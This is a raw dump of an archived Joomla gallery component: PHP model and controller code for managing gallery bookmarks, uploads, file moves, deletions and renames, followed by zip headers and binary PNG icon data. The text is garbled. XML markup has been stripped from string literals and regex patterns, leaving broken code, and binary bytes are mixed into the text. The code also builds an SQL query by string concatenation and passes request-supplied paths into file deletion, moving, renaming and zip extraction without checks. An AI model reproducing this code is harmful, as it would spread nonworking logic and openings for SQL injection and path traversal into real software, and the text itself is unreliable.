'message'); } else { JFactory::getApplication()->enqueueMessage(JText::_("AG_CANNOT_WRITE_DESCRIPTION_FILE") . " " . basename($ag_itemURL), 'error'); } fclose($handle); } } function _bookmarkRename($AG_originalPath, $AG_newPath) { $AG_bookmark_ID = $AG_originalPath . '/'; $ag_bookmarkFile = JPATH_SITE . '/administrator/components/com_admirorgallery/assets/bookmarks.xml'; $ag_bookmarks_xml = JFactory::getXMLParser('simple'); $ag_bookmarks_xml->loadFile($ag_bookmarkFile); if (isset($ag_bookmarks_xml->document->bookmark)) { $ag_bookmarks_array = $ag_bookmarks_xml->document->bookmark; } // CHECK IF BOOKMARK ALREADY EXISTS $bookmarkCheck = false; if (!empty($ag_bookmarks_array)) { foreach ($ag_bookmarks_array as $ag_bookmarks_key => $ag_bookmarks_value) { if ($ag_bookmarks_value->data() == $AG_bookmark_ID) { $bookmarkCheck = true; } } } if ($bookmarkCheck == true) { // WRITE NEW BOOKMARK XML $ag_content = ""; $ag_content.="" . "\n"; if (!empty($ag_bookmarks_array)) { foreach ($ag_bookmarks_array as $ag_bookmarks_key => $ag_bookmarks_value) { if ($ag_bookmarks_value->data() == $AG_bookmark_ID) { $ag_content.=' ' . $AG_newPath . '/' . "\n"; } else { $ag_content.=' ' . $ag_bookmarks_value->data() . '' . "\n"; } } } $ag_content.="" . "\n"; if (!empty($ag_content)) { $handle = fopen($ag_bookmarkFile, "w") or die(JText::_("AG_CANNOT_WRITE_GALLERY_LISTING")); if (!fwrite($handle, $ag_content)) { JFactory::getApplication()->enqueueMessage(JText::_("AG_CANNOT_WRITE_GALLERY_LISTING") . " " . $AG_bookmark_ID, 'error'); } fclose($handle); } } } function _bookmarkRemove($AG_cbox_bookmarkRemove) { foreach ($AG_cbox_bookmarkRemove as $key => $AG_bookmark_ID) { $ag_bookmarkFile = JPATH_SITE . '/administrator/components/com_admirorgallery/assets/bookmarks.xml'; $ag_bookmarks_xml = JFactory::getXMLParser('simple'); $ag_bookmarks_xml->loadFile($ag_bookmarkFile); if (isset($ag_bookmarks_xml->document->bookmark)) { $ag_bookmarks_array = $ag_bookmarks_xml->document->bookmark; } // CHECK IF BOOKMARK ALREADY EXISTS $bookmarkCheck = false; if (!empty($ag_bookmarks_array)) { foreach ($ag_bookmarks_array as $ag_bookmarks_key => $ag_bookmarks_value) { if ($ag_bookmarks_value->data() == $AG_bookmark_ID) { $bookmarkCheck = true; } } } if ($bookmarkCheck == true) { // WRITE NEW BOOKMARK XML $ag_content = ""; $ag_content.="" . "\n"; if (!empty($ag_bookmarks_array)) { foreach ($ag_bookmarks_array as $ag_bookmarks_key => $ag_bookmarks_value) { if ((!empty($ag_bookmarks_value)) && ($ag_bookmarks_value->data() != $AG_bookmark_ID)) { $ag_content.=' ' . $ag_bookmarks_value->data() . '' . "\n"; } } } $ag_content.="" . "\n"; if (!empty($ag_content)) { $handle = fopen($ag_bookmarkFile, "w") or die(JText::_("AG_CANNOT_WRITE_GALLERY_LISTING")); if (fwrite($handle, $ag_content)) { JFactory::getApplication()->enqueueMessage(JText::_("AG_GALLERY_REMOVED_FROM_LISTING") . " " . $AG_bookmark_ID, 'message'); } else { JFactory::getApplication()->enqueueMessage(JText::_("AG_CANNOT_WRITE_GALLERY_LISTING") . " " . $AG_bookmark_ID, 'error'); } fclose($handle); } } } } function _bookmarkAdd($AG_cbox_bookmarkAdd) { foreach ($AG_cbox_bookmarkAdd as $key => $value) { if (!empty($value) && is_dir(JPATH_SITE . $value)) { $ag_bookmarkFile = JPATH_SITE . '/administrator/components/com_admirorgallery/assets/bookmarks.xml'; $bookmarkCheck = false; $ag_bookmarks_xml = JFactory::getXMLParser('simple'); $ag_bookmarks_xml->loadFile($ag_bookmarkFile); if (isset($ag_bookmarks_xml->document->bookmark)) { $ag_bookmarks_array = $ag_bookmarks_xml->document->bookmark; // CHECK IS BOOKMARK ALREADY EXISTS $bookmarkCheck = false; if (!empty($ag_bookmarks_array)) { foreach ($ag_bookmarks_array as $key2 => $value2) { if ($value2->data() == $value) { $bookmarkCheck = true; } } } } if ($bookmarkCheck == false) { // WRITE NEW BOOKMARK XML $ag_content = ""; $ag_content.="" . "\n"; if (!empty($ag_bookmarks_array)) { foreach ($ag_bookmarks_array as $key2 => $value2) { if (!empty($value2)) { $ag_content.=' ' . $value2->data() . '' . "\n"; } } } $ag_content.=' ' . $value . '' . "\n"; $ag_content.="" . "\n"; if (!empty($ag_content)) { $handle = fopen($ag_bookmarkFile, "w") or die(JText::_("AG_CANNOT_WRITE_GALLERY_LISTING")); if (fwrite($handle, $ag_content)) { JFactory::getApplication()->enqueueMessage(JText::_("AG_GALLERY_ADDED") . " " . $value, 'message'); } else { JFactory::getApplication()->enqueueMessage(JText::_("AG_CANNOT_WRITE_GALLERY_LISTING") . " " . $value, 'error'); } fclose($handle); } } else { JFactory::getApplication()->enqueueMessage(JText::_("AG_GALLERY_ALREADY_EXISTS") . " " . $value, 'error'); } } } } function _cbox_priority($ag_preview_checked_array) { foreach ($ag_preview_checked_array as $key => $value) { $ag_itemURL = $key; $ag_priority = $value; $ag_folderName = dirname($ag_itemURL); if (is_numeric($ag_priority)) { // Set Possible Description File Apsolute Path // Instant patch for upper and lower case... $ag_pathWithStripExt = JPATH_SITE . $ag_folderName . '/' . JFile::stripExt(basename($ag_itemURL)); $ag_XML_path = $ag_pathWithStripExt . ".xml"; if (JFIle::exists($ag_pathWithStripExt . ".XML")) { $ag_XML_path = $ag_pathWithStripExt . ".XML"; } $ag_priority_new = '' . $ag_priority . ''; $ag_XML_priority = ""; if (file_exists($ag_XML_path)) { $ag_XML_xml = JFactory::getXMLParser('simple'); $ag_XML_xml->loadFile($ag_XML_path); $ag_XML_priority = $ag_XML_xml->document->priority[0]->data(); } if ($ag_XML_priority != $ag_priority) { if (file_exists($ag_XML_path)) { $file = fopen($ag_XML_path, "r"); $ag_XML_content = ""; while (!feof($file)) { $ag_XML_content.=fgetc($file); } fclose($file); $ag_XML_content = preg_replace("#(.*?)#s", $ag_priority_new, $ag_XML_content); } else { $ag_XML_content = '' . "\n" . '' . "\n" . 'true' . "\n" . $ag_priority_new . "\n" . '' . "\n" . '' . "\n" . '' . "\n" . ''; } // Save XML $this->_saveXML($ag_itemURL, $ag_XML_path, $ag_XML_content); } } else { if (!empty($ag_priority)) { JFactory::getApplication()->enqueueMessage(JText::_("AG_PRIORITY_MUST_BE_NUMERIC_VALUE_FOR_IMAGE") . " " . basename($ag_itemURL), 'error'); } } } } function _set_visible($AG_cbox_selectItem, $ag_folderName, $AG_visible) { foreach ($AG_cbox_selectItem as $key => $value) { $ag_itemURL = $value; // Set Possible Description File Apsolute Path // Instant patch for upper and lower case... $ag_pathWithStripExt = JPATH_SITE . $ag_folderName . JFile::stripExt(basename($ag_itemURL)); $ag_XML_path = $ag_pathWithStripExt . ".xml"; if (JFIle::exists($ag_pathWithStripExt . ".XML")) { $ag_XML_path = $ag_pathWithStripExt . ".XML"; } // Set new visible tag if ($AG_visible == "show") { $ag_visible_new = "true"; } else { $ag_visible_new = "false"; } $ag_XML_content = ''; if (file_exists($ag_XML_path)) { $file = fopen($ag_XML_path, "r"); while (!feof($file)) { $ag_XML_content .= fgetc($file); } fclose($file); if (preg_match("#(.*?)#s", $ag_XML_content)) { $ag_XML_content = preg_replace("#(.*?)#s", $ag_visible_new, $ag_XML_content); } else { $ag_XML_content = preg_replace("##s", $ag_visible_new . "\n" . "", $ag_XML_content); } } else { $ag_XML_content = '' . "\n" . '' . "\n" . $ag_visible_new . "\n" . '' . "\n" . '' . "\n" . '' . "\n" . ''; } // Save XML $this->_saveXML($ag_itemURL, $ag_XML_path, $ag_XML_content); } } function _fileUpload($AG_itemURL, $file) { $config = JFactory::getConfig(); $tmp_dest = $config->getValue('config.tmp_path'); $ag_ext_valid = array("jpg", "jpeg", "gif", "png", "zip"); //Clean up filename to get rid of strange characters like spaces etc $filename = JFile::makeSafe($file['name']); $ag_file_ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $src = $file['tmp_name']; $dest = $tmp_dest . DS . $filename; // FILTER EXTENSION $ag_ext_check = array_search($ag_file_ext, $ag_ext_valid); if (is_numeric($ag_ext_check)) { if (JFile::upload($src, $dest)) { if ($ag_file_ext == "zip") { if (JArchive::extract($tmp_dest . DS . $filename, JPATH_SITE . $AG_itemURL)) { JFile::delete($tmp_dest . DS . $filename); JFactory::getApplication()->enqueueMessage(JText::_('AG_ZIP_PACKAGE_IS_UPLOADED_AND_EXTRACTED') . " " . $filename, 'message'); } } else { if (JFile::copy($tmp_dest . DS . $filename, JPATH_SITE . $AG_itemURL . $filename)) { JFile::delete($tmp_dest . DS . $filename); JFactory::getApplication()->enqueueMessage(JText::_('AG_IMAGE_IS_UPLOADED') . " " . $filename, 'message'); } } } else { $ag_error[] = Array(); JFactory::getApplication()->enqueueMessage(JText::_('AG_CANNOT_UPLOAD_FILE') . " " . $filename, 'error'); } } else { JFactory::getApplication()->enqueueMessage(JText::_("AG_ONLY_JPG_JPEG_GIF_PNG_AND_ZIP_ARE_VALID_EXTENSIONS"), 'error'); } } function _addFolders($AG_itemURL, $AG_addFolders) { foreach ($AG_addFolders as $key => $value) { if (!empty($value)) { $newFolderName = $value; // CREATE WEBSAFE TITLES if (!empty($this->webSafe)) { foreach ($this->webSafe as $webSafekey => $webSafevalue) { $newFolderName = str_replace($webSafevalue, "-", $newFolderName); } } $newFolderName = htmlspecialchars(strip_tags($newFolderName)); if (!file_exists(JPATH_SITE . $AG_itemURL . $newFolderName)) { if (JFolder::create(JPATH_SITE . $AG_itemURL . $newFolderName, 0755)) { JFactory::getApplication()->enqueueMessage(JText::_("AG_FOLDER_CREATED") . " " . $newFolderName, 'message'); } else { JFactory::getApplication()->enqueueMessage(JText::_("AG_CANNOT_CREATE_FOLDER") . " " . $newFolderName, 'error'); } } else { JFactory::getApplication()->enqueueMessage(JText::_("AG_FOLDER_ALREADY_EXISTS") . " " . $newFolderName, 'error'); } }//if(!empty($value)) } } // COPY function _copy($AG_cbox_selectItem, $AG_operations_targetFolder) { foreach ($AG_cbox_selectItem as $key => $value) { // Set Possible Description File Apsolute Path // Instant patch for upper and lower case... $AG_folderName = dirname($value); $AG_pathWithStripExt = JPATH_SITE . $AG_folderName . '/' . JFile::stripExt(basename($value)); $ag_XML_path = $AG_pathWithStripExt . ".XML"; if (JFIle::exists($AG_pathWithStripExt . ".xml")) { $ag_XML_path = $AG_pathWithStripExt . ".xml"; } if (is_dir(JPATH_SITE . DS . $value)) { if (JFolder::copy(JPATH_SITE . DS . $value, JPATH_SITE . DS . $AG_operations_targetFolder . DS . basename($value))) { if (JFIle::exists($ag_XML_path)) { JFile::copy($ag_XML_path, JPATH_SITE . DS . $AG_operations_targetFolder . DS . basename($ag_XML_path)); } JFactory::getApplication()->enqueueMessage(JText::_('AG_ITEM_COPIED') . " " . $value, 'message'); } else { JFactory::getApplication()->enqueueMessage(JText::_('AG_CANNOT_COPY_ITEM') . " " . $value, 'error'); } } else { if (JFile::copy(JPATH_SITE . DS . $value, JPATH_SITE . DS . $AG_operations_targetFolder . DS . basename($value))) { if (JFIle::exists($ag_XML_path)) { JFile::copy($ag_XML_path, JPATH_SITE . DS . $AG_operations_targetFolder . DS . basename($ag_XML_path)); } JFactory::getApplication()->enqueueMessage(JText::_('AG_ITEM_COPIED') . " " . $value, 'message'); } else { JFactory::getApplication()->enqueueMessage(JText::_('AG_CANNOT_COPY_ITEM') . " " . $value, 'error'); } } } } // MOVE function _move($AG_cbox_selectItem, $AG_operations_targetFolder) { foreach ($AG_cbox_selectItem as $key => $value) { // Set Possible Description File Apsolute Path // Instant patch for upper and lower case... $AG_folderName = dirname($value); $AG_pathWithStripExt = JPATH_SITE . $AG_folderName . '/' . JFile::stripExt(basename($value)); $ag_XML_path = $AG_pathWithStripExt . ".XML"; if (JFIle::exists($AG_pathWithStripExt . ".xml")) { $ag_XML_path = $AG_pathWithStripExt . ".xml"; } if (is_dir(JPATH_SITE . DS . $value)) { if (JFolder::move(JPATH_SITE . DS . $value, JPATH_SITE . DS . $AG_operations_targetFolder . DS . basename($value))) { $this->_bookmarkRemove(array($value)); if (JFIle::exists($ag_XML_path)) { JFile::move($ag_XML_path, JPATH_SITE . DS . $AG_operations_targetFolder . DS . basename($ag_XML_path)); } JFactory::getApplication()->enqueueMessage(JText::_('AG_ITEM_MOVED') . " " . $value, 'message'); } else { JFactory::getApplication()->enqueueMessage(JText::_('AG_CANNOT_MOVED_ITEM') . " " . $value, 'error'); } } else { if (JFile::move(JPATH_SITE . DS . $value, JPATH_SITE . DS . $AG_operations_targetFolder . DS . basename($value))) { if (JFIle::exists($ag_XML_path)) { JFile::move($ag_XML_path, JPATH_SITE . DS . $AG_operations_targetFolder . DS . basename($ag_XML_path)); } JFactory::getApplication()->enqueueMessage(JText::_('AG_ITEM_MOVED') . " " . $value, 'message'); } else { JFactory::getApplication()->enqueueMessage(JText::_('AG_CANNOT_MOVED_ITEM') . " " . $value, 'error'); } } } } function _remove($AG_cbox_remove) { foreach ($AG_cbox_remove as $key => $value) { $AG_folderName = dirname($value); // Set Possible Description File Apsolute Path // Instant patch for upper and lower case... $AG_pathWithStripExt = JPATH_SITE . $AG_folderName . '/' . JFile::stripExt(basename($value)); $ag_XML_path = $AG_pathWithStripExt . ".XML"; if (JFIle::exists($AG_pathWithStripExt . ".xml")) { $ag_XML_path = $AG_pathWithStripExt . ".xml"; } // DELETE if (is_dir(JPATH_SITE . DS . $value)) { if (JFolder::delete(JPATH_SITE . DS . $value)) { $this->_bookmarkRemove(array($value)); if (file_exists($ag_XML_path)) { JFile::delete($ag_XML_path); } JFactory::getApplication()->enqueueMessage(JText::_('AG_ITEM_DELETED') . " " . $value, 'message'); } else { JFactory::getApplication()->enqueueMessage(JText::_('AG_CANNOT_DELETE_ITEM') . " " . $value, 'error'); } } else { if (JFile::delete(JPATH_SITE . DS . $value)) { if (file_exists($ag_XML_path)) { JFile::delete($ag_XML_path); } JFactory::getApplication()->enqueueMessage(JText::_('AG_ITEM_DELETED') . " " . $value, 'message'); } else { JFactory::getApplication()->enqueueMessage(JText::_('AG_CANNOT_DELETE_ITEM') . " " . $value, 'error'); } } } } function _rename($AG_itemURL, $AG_originalPath, $AG_newName) { $AG_originalName = basename($AG_originalPath); $AG_folderName = dirname($AG_originalPath); // CREATE WEBSAFE TITLES if (!empty($this->webSafe)) { foreach ($this->webSafe as $webSafekey => $webSafevalue) { $AG_newName = str_replace($webSafevalue, "-", $AG_newName); } } // Set Possible Description File Apsolute Path // Instant patch for upper and lower case... $ag_pathWithStripExt = JPATH_SITE . $AG_folderName . DS . JFile::stripExt($AG_originalName); $ag_XML_path = $ag_pathWithStripExt . ".XML"; if (JFIle::exists($ag_pathWithStripExt . ".xml")) { $ag_XML_path = $ag_pathWithStripExt . ".xml"; } if (!is_dir(JPATH_SITE . $AG_originalPath)) { $ag_file_ext = JFile::getExt($AG_originalName); $ag_file_new_name = $AG_folderName . DS . $AG_newName . '.' . $ag_file_ext; if (!file_exists(JPATH_SITE . $ag_file_new_name)) { if (rename(JPATH_SITE . $AG_originalPath, JPATH_SITE . $ag_file_new_name)) { if (file_exists($ag_XML_path)) { rename($ag_XML_path, JPATH_SITE . $AG_folderName . DS . $AG_newName . '.xml'); } JFactory::getApplication()->enqueueMessage(JText::_("AG_IMAGE_RENAMED") . " " . $AG_originalName, 'message'); } else { JFactory::getApplication()->enqueueMessage(JText::_("AG_CANNOT_RENAME_IMAGE") . " " . $AG_originalName, 'error'); } } else { JFactory::getApplication()->enqueueMessage(JText::_("AG_FOLDER_WITH_THE_SAME_NAME_ALREADY_EXISTS"), 'error'); } } else { if (!file_exists(JPATH_SITE . $AG_folderName . DS . $AG_newName)) { if (rename(JPATH_SITE . $AG_originalPath, JPATH_SITE . $AG_folderName . DS . $AG_newName)) { $this->_bookmarkRename($AG_originalPath, $AG_folderName . DS . $AG_newName); if (file_exists($ag_XML_path)) { rename($ag_XML_path, JPATH_SITE . $AG_folderName . DS . $AG_newName . '.xml'); } JFactory::getApplication()->enqueueMessage(JText::_("AG_FOLDER_RENAMED") . " " . $AG_originalName, 'message'); } else { JFactory::getApplication()->enqueueMessage(JText::_("AG_CANNOT_RENAME_FOLDER") . " " . $AG_originalName, 'error'); } } else { JFactory::getApplication()->enqueueMessage(JText::_("AG_FOLDER_WITH_THE_SAME_NAME_ALREADY_EXISTS"), 'error'); } } } // =================================== _FOLDER_DESC_CONTENT // It creates caption tags with its content. After that it checks if XML already exists. If is it replace captions, if not it creates a new XML function _folder_desc_content($ag_itemURL, $AG_desc_content, $AG_desc_tags, $AG_folder_thumb) { $ag_folderName = dirname($ag_itemURL); // Set Possible Description File Apsolute Path // Instant patch for upper and lower case... $ag_pathWithStripExt = JPATH_SITE . $ag_folderName . DS . JFile::stripExt(basename($ag_itemURL)); $ag_XML_path = $ag_pathWithStripExt . ".xml"; if (JFIle::exists($ag_pathWithStripExt . ".XML")) { $ag_XML_path = $ag_pathWithStripExt . ".XML"; } // Set new Captions tag $ag_captions_new = ""; $ag_captions_new.="" . "\n"; if (!empty($AG_desc_content)) { foreach ($AG_desc_content as $key => $value) { if (!empty($value)) { $ag_captions_new .= "\t" . '' . htmlspecialchars($value, ENT_QUOTES, "UTF-8") . '' . "\n"; } } } $ag_captions_new.=""; // Set new Thumb tag $ag_thumb_new = "" . $AG_folder_thumb . ""; $ag_XML_content = ""; if (file_exists($ag_XML_path)) { $file = fopen($ag_XML_path, "r"); while (!feof($file)) { $ag_XML_content.=fgetc($file); } fclose($file); if (preg_match("#(.*?)#s", $ag_XML_content)) { $ag_XML_content = preg_replace("#(.*?)#s", $ag_thumb_new, $ag_XML_content); } else { $ag_XML_content = preg_replace("##s", $ag_thumb_new . "\n" . "", $ag_XML_content); } if (preg_match("#(.*?)#s", $ag_XML_content)) { $ag_XML_content = preg_replace("#(.*?)#s", $ag_captions_new, $ag_XML_content); } else { $ag_XML_content = preg_replace("##s", $ag_captions_new . "\n" . "", $ag_XML_content); } } else { $ag_XML_content = '' . "\n" . '' . "\n" . 'true' . "\n" . '' . "\n" . '' . $AG_folder_thumb . '' . "\n" . $ag_captions_new . "\n" . ''; } // Save XML $this->_saveXML($ag_itemURL, $ag_XML_path, $ag_XML_content); } function _desc_content($ag_itemURL, $AG_desc_content, $AG_desc_tags) { $ag_folderName = dirname($ag_itemURL); // Set Possible Description File Apsolute Path // Instant patch for upper and lower case... $ag_pathWithStripExt = JPATH_SITE . $ag_folderName . DS . JFile::stripExt(basename($ag_itemURL)); $ag_XML_path = $ag_pathWithStripExt . ".xml"; if (JFIle::exists($ag_pathWithStripExt . ".XML")) { $ag_XML_path = $ag_pathWithStripExt . ".XML"; } $ag_captions_new = ""; $ag_captions_new.="" . "\n"; if (!empty($AG_desc_content)) { foreach ($AG_desc_content as $key => $value) { if (!empty($value)) { $ag_captions_new .= "\t" . '' . htmlspecialchars($value, ENT_QUOTES, "UTF-8") . '' . "\n"; } } } $ag_captions_new.=""; $ag_XML_content = ""; if (file_exists($ag_XML_path)) { $file = fopen($ag_XML_path, "r"); while (!feof($file)) { $ag_XML_content.=fgetc($file); } fclose($file); $ag_XML_content = preg_replace("#(.*?)#s", $ag_captions_new, $ag_XML_content); } else { $ag_XML_content = '' . "\n" . '' . "\n" . 'true' . "\n" . '' . "\n" . $ag_captions_new . "\n" . ''; } // Save XML $this->_saveXML($ag_itemURL, $ag_XML_path, $ag_XML_content); } } PK@y>\k;7components/com_admirorgallery/models/admirorgallery.phpnuW+A $value){ $AG_DB_input.= '"'.$key.'":"'.$value.'",'; } $AG_DB_input = substr_replace($AG_DB_input ,'}',-1,1); $db = JFactory::getDBO(); $query = "UPDATE #__extensions SET params='".$AG_DB_input."' WHERE (element = 'admirorgallery') AND (type = 'plugin')"; // This change value $db->setQuery($query); if($db->query()){ JFactory::getApplication()->enqueueMessage( JText::_( "AG_PARAMS_UPDATED" ), 'message' ); }else{ JFactory::getApplication()->enqueueMessage( JText::_( "AG_CANNOT_ACCESS_TO_DATABASE" ), 'error' ); } } } PK@y>\#o,,/components/com_admirorgallery/assets/index.htmlnuW+APK@y>\).components/com_admirorgallery/assets/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)5components/com_admirorgallery/assets/thumbs/.htaccessnuW+A Order allow,deny Deny from all PK@y>\`&Ҟ,components/com_admirorgallery/controller.phpnuW+AaddScriptDeclaration(' AG_jQuery(function(){ // SET SHORCUTS AG_jQuery(document).bind("keydown", "ctrl+return", function (){submitbutton("AG_apply");return false;}); AG_jQuery(document).bind("keydown", "ctrl+backspace", function (){submitbutton("AG_reset");return false;}); });//AG_jQuery(function() '); parent::display(); } }PK@y>\#o,,4components/com_admirorgallery/controllers/index.htmlnuW+APK@y>\ւ%Q:components/com_admirorgallery/controllers/imagemanager.phpnuW+AregisterTask( 'AG_apply', 'AG_apply' ); $this->registerTask( 'AG_reset', 'AG_reset' ); } function AG_apply() { $model = $this->getModel('imagemanager'); $AG_itemURL = JRequest::getVar( 'AG_itemURL' ); if(is_dir(JPATH_SITE.$AG_itemURL)){ // FOLDER MODELS // BOOKMARK REMOVE $AG_cbox_bookmarkRemove = JRequest::getVar( 'AG_cbox_bookmarkRemove' ); if(!empty($AG_cbox_bookmarkRemove)){ $model->_bookmarkRemove($AG_cbox_bookmarkRemove); } // PRIORITY $AG_cbox_priority = JRequest::getVar( 'AG_cbox_priority' ); if(!empty($AG_cbox_priority)){ $model->_cbox_priority($AG_cbox_priority); } // UPLOAD $file = JRequest::getVar( 'AG_fileUpload', null, 'files' ); if(isset($file) && !empty($file['name'])){ $model->_fileUpload($AG_itemURL,$file); } // ADD FOLDERS $AG_addFolders = JRequest::getVar( 'AG_addFolders' ); if(!empty($AG_addFolders)){ $model->_addFolders($AG_itemURL,$AG_addFolders); } // REMOVE // BOOKMARK ADD $AG_cbox_selectItem = JRequest::getVar( 'AG_cbox_selectItem' ); $AG_operations_targetFolder = JRequest::getVar( 'AG_operations_targetFolder' ); if(!empty($AG_cbox_selectItem)){ switch (JRequest::getVar( 'AG_operations' )) { case "move": $model->_move($AG_cbox_selectItem,$AG_operations_targetFolder); break; case "copy": $model->_copy($AG_cbox_selectItem,$AG_operations_targetFolder); break; case "bookmark": $model->_bookmarkAdd($AG_cbox_selectItem); break; case "delete": $model->_remove($AG_cbox_selectItem); break; case "hide": $model->_set_visible($AG_cbox_selectItem, $AG_itemURL, "hide"); break; case "show": $model->_set_visible($AG_cbox_selectItem, $AG_itemURL, "show"); break; } } // RENAME $AG_rename = JRequest::getVar( 'AG_rename' ); $webSafe=Array("/"," ",":",".","+","&"); if(!empty($AG_rename)){ foreach($AG_rename as $ren_key => $ren_value){ $AG_originalName=JFile::stripExt(basename($ren_key)); // CREATE WEBSAFE TITLES foreach($webSafe as $key => $value){ $AG_newName = str_replace($value,"-",$ren_value); } if($AG_originalName != $AG_newName && !empty($ren_value)){ $model->_rename($AG_itemURL, $ren_key, $AG_newName); } } } // FOLDER DESCRIPTIONS $AG_desc_content = JRequest::getVar( 'AG_desc_content', '', 'POST','ARRAY','JREQUEST_ALLOWHTML' ); $AG_desc_tags = JRequest::getVar( 'AG_desc_tags' ); $AG_folder_thumb = JRequest::getVar( 'AG_folder_thumb' ); if(JRequest::getVar( 'AG_folderSettings_status' ) == "edit"){ $model->_folder_desc_content($AG_itemURL,$AG_desc_content,$AG_desc_tags,$AG_folder_thumb); } }else{ // FILE MODELS // FILE DESCRIPTIONS $AG_desc_content = JRequest::getVar( 'AG_desc_content', '', 'POST','ARRAY','JREQUEST_ALLOWHTML' ); $AG_desc_tags = JRequest::getVar( 'AG_desc_tags' ); if(!empty($AG_desc_content)){ $model->_desc_content($AG_itemURL,$AG_desc_content,$AG_desc_tags); } } parent::display(); } function AG_reset() { parent::display(); } } PK@y>\X=components/com_admirorgallery/controllers/resourcemanager.phpnuW+AregisterTask( 'AG_apply', 'AG_apply' ); $this->registerTask( 'AG_reset', 'AG_reset' ); } function AG_apply() { $model = $this->getModel('resourcemanager'); // INSTALL $file = JRequest::getVar( 'AG_fileUpload', null, 'files' ); if(isset($file) && !empty($file['name'])){ $model->_install($file); } // UNINSTALL $ag_cidArray = JRequest::getVar( 'cid' ); if(!empty($ag_cidArray)){ $model->_uninstall($ag_cidArray); } parent::display(); } function AG_reset() { parent::display(); } } PK@y>\M449components/com_admirorgallery/controllers/galleryname.phpnuW+A\|<components/com_admirorgallery/controllers/admirorgallery.phpnuW+AregisterTask( 'AG_apply', 'AG_apply' ); $this->registerTask( 'AG_reset', 'AG_reset' ); } function AG_apply() { $model = $this->getModel('admirorgallery'); // UPDATE $model->_update(); parent::display(); } function AG_reset() { parent::display(); } } PK@y>\!4components/com_admirorgallery/controllers/button.phpnuW+A\)3components/com_admirorgallery/controllers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#o,,:components/com_admirorgallery/templates/default/index.htmlnuW+APK@y>\)9components/com_admirorgallery/templates/default/.htaccessnuW+A Order allow,deny Deny from all PK@y>\@<<Jcomponents/com_admirorgallery/templates/default/images/icon-16-default.pngnuW+APNG  IHDRasRGBbKGD pHYs  ~tIME  /5)IDAT8˅Mh\U;M2c2mKSZ`UhƅX(4 \B(YQ !P)."ĢR'BjRI2;73sgE2ƀp8w։(P"RUȲD䖈뱨0R[omjZk=Vϻk`Ӝ+}3$b:SסuI{8繝\=[^W&.]V\G f vW_ uDAlڪ_WUM*/""moMm8* u=iH*\vP.DMH?N9}`@A>ܲ;+* yegjzGޢyF3K"EZK[ ٤ R87]ͽ7ܛ|ٴm'po# q̜M%HPL).Ƙ*0Ls/E42ٝh}ǎ\t//--R'So_œ)նt./%LT?AU߫~FozXgT$U'ґi1& BaX$oy"1 zCW~>w/d url6v_.R |8;Q7\֬IENDB`PK@y>\/AHcomponents/com_admirorgallery/templates/default/images/icon-hasThumb.pngnuW+APNG  IHDRasRGBbKGD pHYs  ~tIME  뚍5IDAT8c`0BdOg ,I05`X+ f2 RIENDB`PK@y>\eWWFcomponents/com_admirorgallery/templates/default/images/uninstalled.pngnuW+APNG  IHDRasRGBbKGD pHYs  ~tIME  }bcIDAT8˭ӽJAϟlbeloj{ V>B*_a|tA@9 :Dz`9;ޙa". jc z=U`")zo%7sX*īh~/,e&,}m׃Qhzpp7 COαq(I:9}Rl ٌZ>B~;^/Oyg53IENDB`PK@y>\ ""Lcomponents/com_admirorgallery/templates/default/images/icon-16-templates.pngnuW+APNG  IHDR(-SsRGBPLTEz#>t%cIAgG BcL@iMZPIMN]EjNQPgLOhHnLkNjR^PRQeLnUXYoTVgWVX[Xv] [^`npm^mqtc`b fe c|syfil}kn}i k|z~ols opwost{x}w{~}x} { |Ƀ~ւ~͆Јڅ ܇Ӌ މ Ս܍؏܍  Џ֎̒ȔĘؖ ˥Ƽ¼` tRNS@fbKGDH pHYs  ~tIME # "IDATc`+nff(/@ ]~ Xy浫@`]v 7ˎ=~ *TvۺuU3B2wƔ4@BIEEQajL?u_?82o FW IENDB`PK@y>\@r||Jcomponents/com_admirorgallery/templates/default/images/notice-download.pngnuW+APNG  IHDRaM=sBITO PLTEE ݼM6D0z{7K/Cf$YՎ@. Uό>y)S@I^^I &$   NA2:P|D.~~,UÑ5VՂz9 U`YFE]@ y4d8]b(]K9@&E FihhtBd%e4s#jˢ@ڜ8lLUI3m@-R iI@e hkK c  I֕`NfD4 䢣!l4Sh,(yŀ@Ut0S B,@`P//BJ @ MUrT{ZfmQhi2PF1lt dhhh90P{YY$}ɥ˓Jd@%l 9QQ& ʳC`,vIENDB`PK@y>\Sa-@components/com_admirorgallery/templates/default/images/alert.pngnuW+APNG  IHDRasRGBbKGDC pHYs B(xtIME 5PIDAT8c`` aF|#3|\6 8  @T, y|1Bt@sa\.C``Icomponents/com_admirorgallery/templates/default/images/j_button2_left.pngnuW+APNG  IHDRssBITO'PLTEʕ pHYs B4tEXtSoftwareMacromedia Fireworks 8hxtEXtCreation Time4/20/06~ IDATXء`;# P#`5 8Z1p}&xoyRtA)@э.I`r?ݑpvՕoyL`4N\L)WCG0!;8@ɆuIENDB`PK@y>\]qYYIcomponents/com_admirorgallery/templates/default/images/bookmarkRemove.pngnuW+APNG  IHDRasRGBbKGDߙ pHYs  ~tIME 002IDAT8˵ҽJQ/DH!4E:ciEXX>OW,B+$S6fUf 39̝;3ahW_sGJ*)p7,FFEF9.;K{ xj􊃈o-: {4|?o<-C|b7r^vH E XEqCYUXxXIENDB`PK@y>\:{77Fcomponents/com_admirorgallery/templates/default/images/notice-note.pngnuW+APNG  IHDRaM=sBITOPLTE~!~Du ԯZp{?"rȤ+ՖQ+cۯȶcӝP:2n@)ÅPǃŽ᯴<̩*}ò!ٝޭ4sK׏ײ4! C8Ԇ,kQb| c7ΖCȶώݦAʋ9- Ԗ(ɦ/٧~޽Ϭ/<LTu}byn!0K")֪ܶĝٴƤŖK֔X1Í÷Hl#̈́:)zy(Zтٙ}D:lјۥ:'ottRNSjK pHYs  ~tEXtSoftwareMacromedia Fireworks 8hxtEXtCreation Time3/12/07!LOIDAT(cL"[+%%[ ,f|&i..V-y&FB .V,,.b dx[A2 oR&\V3P1$:""71nɊԧGفe]G P`^6 7hɂYSx c A( f1ΞS-(,=?p:X6I*2IgZXV \A0jXV@ &e=<<\P0 (+\|q`E^P0(eSx4@U6wx8Ce'TTxxDL&[ + Li|>X$T@U=`VIL65$E6AZY rLڕ(gnR 륥CCBCMd_HL%31ҳT3kXX, ~~ ,,@:dCvIIWnWWI_2Pb2 Ku]]'%|n!fWM8IENDB`PK@y>\O2Ocomponents/com_admirorgallery/templates/default/images/icon-16-imagemanager.pngnuW+APNG  IHDRasRGBbKGD 